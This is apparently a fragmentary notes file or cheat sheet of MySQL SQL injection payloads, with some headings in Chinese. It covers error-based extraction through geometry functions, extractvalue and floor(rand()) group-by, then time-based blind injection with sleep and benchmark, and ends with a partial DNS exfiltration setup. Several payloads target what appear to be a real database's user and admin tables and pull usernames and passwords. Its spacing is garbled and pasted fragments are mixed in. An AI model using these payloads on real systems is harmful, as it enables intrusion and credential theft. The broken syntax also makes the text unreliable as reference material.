and geometrycollection((select * from(select * from(selectuser())a)b));
[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing
multipoint()
1
2
select * from t wherename='a'
and multipoint((select * from(select * from(selectuser())a)b));
[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing
polygon()
1
2
select * from t wherename='a'
and polygon((select * from(select * from(selectuser())a)b));
[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing
multipolygon()
1
2
select * from t wherename='a'
and multipolygon((select * from(select * from(selectuser())a)b));
[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing
linestring()
1
2
select * from t wherename='a'
and linestring((select * from(select * from(selectuser())a)b));
[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing
multilinestring()
1
2
select * from t wherename='a'
and multilinestring((select * from(select * from(selectuser())a)b));
[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing
lang=en') AND EXTRACTVALUE(1267,CONCAT(0x5c,0x7170627871,(SELECT (CASEWHEN (1267=1267) THEN1ELSE0END)),0x7170707671)) AND ('PeJH'='PeJH
name=b'and extractvalue(1, concat(0x7e,(SELECTstringFROM t limit0,1))) and a ='1
select * from t where name = 'c' and extractvalue(1, concat(0x7e,(SELECT string FROM t limit 1,1)) )
select * from t where name = 'c' and extractvalue(1, (SELECT string FROM t limit 1,1) )
lang=en') AND EXTRACTVALUE(2872,CONCAT(0x23,(SELECTMID((IFNULL(CAST(idASCHAR),0x20)),1,50) FROM MTN2012.`user`LIMIT7,1))) AND ('XTGg'='XTGg
en') AND EXTRACTVALUE(2872,CONCAT(0x23,(SELECTMID((IFNULL(CAST(idASCHAR),0x20)),1,200) FROM MTN2012.`user`where username='mihmd' ))) and (1='1;
en') AND EXTRACTVALUE(4230,CONCAT(0x5c,0x716b787871,(SELECTMID((IFNULL(CAST(cIpAddress ASCHAR),0x20)),1,50) FROM MTN2012.admin ORDERBY email LIMIT1,1),0x7170626271)) AND ('JonM'='JonM
//cut string SELECT MID(ColumnName, Start [, Length]) CAST(value as type); CHAR SIGNED CONVERT(value, type); LIMIT 18,1 //ahmad
CONCAT(0x34,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,50) FROM MTN2012.user ORDER BY id LIMIT 18,1))
)
AND ('JonM'='JonM;
en') AND EXTRACTVALUE(4230,CONCAT(0x5c,0x716b787871,(SELECTMID((IFNULL(CAST(username ASCHAR),0x20)),1,50) FROM MTN2012.user limit1,1),0x7170626271)) AND ('JonM'='JonM;
en') AND EXTRACTVALUE(4230,CONCAT(0x34,(SELECTMID((IFNULL(CAST(username ASCHAR),0x20)),1,50) FROM MTN2012.user limit1,1))) AND ('JonM'='JonM;
en') AND EXTRACTVALUE(1,(select username FROM MTN2012.user limit1,1)) AND ('JonM'='JonM;
where username = 0x6261626e73696969
098f6bcd4621d373cade4e832627b4f6
select * from t where name = 'c'
and extractvalue(1,
(SELECT string FROM t limit 1,1)
)
select extractValue(1,(SELECT string FROM t limit 1,1))
-- and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
-- and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x74 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*
and (select 1 from
(
select count(*),concat(
(SELECT distinct concat(0x23,string) FROM t limit 2,1) -- #a:100684d61405e723#
-- "hkruo"
,floor(rand(0)*2))x from information_schema.tables group by x)a
)
*/
and (select 1 from
(
select count(*),concat(
(SELECT distinct concat(0x23,string) FROM t limit 2,1) -- #a:100684d61405e723#
,floor(rand(0)*2))x
from information_schema.tables group by x
)b
)
and (select 1 from
(
select count(*),concat(
(SELECT distinct concat(0x23,password) FROM admin limit 2,1)
,floor(rand(0)*2))x
from information_schema.tables group by x
)b
)
en')+and+(select1from (selectcount(*),concat((SELECTdistinctconcat(0x23,password) FROMadminlimit2,1),floor(rand(0)*2))x from information_schema.tables groupby x)b) and ('JonM'='JonM
延时注入
延时函数 Mysql BENCHMARK(100000,MD5(1)) or sleep(5) Postgresql PG_SLEEP(5) OR GENERATE_SERIES(1,10000) MSSQL WAITFOR DELAY ‘0:0:5’
查询延时 select * from test.t where name = ‘a’
Payload
1
2
3
' or If(substr('ruo',1,1) = 'r',sleep(5),0)
' and if(true,sleep(5),0) #
' union selectbenchmark(500000,md5('test'));
DNS传输数据
配置域名 A test 153.92.xxx.xxx NS ns1 test.domainname.com
The FEDERATED storage engine lets you access data from a remote MySQL database without using replication or cluster technology.The FEDERATED storage engine is not enabled by default in the running server; to enable FEDERATED, you must start the MySQL server binary using the –federated option.
Note The remote server must be a MySQL server. Care should be taken when creating a FEDERATED table since the index definition from an equivalent MyISAM or other table may not be supported.